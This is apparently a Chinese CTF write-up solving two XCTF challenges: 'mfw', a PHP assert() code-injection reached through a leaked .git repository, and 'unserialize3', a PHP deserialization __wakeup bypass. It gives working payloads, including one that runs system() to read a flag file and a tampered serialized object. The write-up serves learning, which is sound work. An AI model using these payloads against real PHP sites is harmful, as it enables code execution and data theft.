攻防世界mfw & unserialize3
2019-11-05 本文已影响0人
jun123123
- mfw
.git源码泄露
先用githack下载源码,审一下发现两个assert()
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
这里两个地方都可以注入,payload:page=','..') or system("cat templates/flag.php");//
注释里就能看到flag
刚做这个有两个问题没想清楚
1.为什么base64可以直接输出,否则在注释里;
直接输出的结果里有php标签,浏览器无法解析,所以放进注释
base64编码后无php标签。
这里的返回结果是字符串所以即使有php标签服务器端也不会解析。
include会直接解析包含的文件内容无论原来文件的格式,所以使用伪协议包含文件时要进行base64编码。
system函数返回并打印执行结果的最后一行/flase
2.什么情况下可以进行类似注入;
assert函数参数为拼接的字符串所以可以注入,原理类似sql注入
- unserialize3
反序列化
给了源码,绕过_wakeup()函数即可
payload
$x = new xctf();
$x->flag='111';
echo serialize($x);
得到序列化结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
更改为
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
即得flag
如果反序列化时成员变量数量大于实际数量就会绕过_wakeup()函数